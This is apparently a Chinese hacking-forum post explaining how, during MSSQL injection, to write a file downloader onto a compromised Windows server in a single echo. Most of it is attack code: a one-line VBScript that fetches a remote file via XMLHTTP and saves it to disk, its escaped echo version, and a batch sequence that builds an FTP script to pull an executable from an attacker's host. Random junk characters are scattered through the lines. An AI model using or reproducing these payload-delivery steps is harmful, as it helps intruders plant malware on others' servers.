mssql注射时不可以多次echo的解决办法

韩冰

<>解决办法:
1.iget.vbs一次写入
在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写

) T, I+ I, P  t5 DSet x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2

9 U+ H$ L1 |& s) n这样我们可以一次echo成功,echo版本:

& f3 n5 u2 D7 a$ A6 Uecho Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 &gt;iget.vbs

3 C: s& L! }; R8 C! A, Y* c3 B
2.bat调用ftp脚本的写法(by envymask)
* ^- [$ T" S+ z3 E
+ A' v  i% Y: }( ]" R2 s- n* Lecho ftp&gt;1.vbs
echo open ip&gt;2.vbs
echo u&gt;3.vbs
' [1 n; N; p* c& ?3 X. ?9 ~* Cecho s&gt;4.vbs
1 L) v, W8 h( j: W! yecho binary&gt;5.vbs
" H1 `7 V! n2 q4 Cecho get 1.exe&gt;6.vbs
, @' H, C) H& W8 r" T; vecho bay&gt;7.vbs
) Q! Q2 S; D; A) F- M* P
copy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs
</P>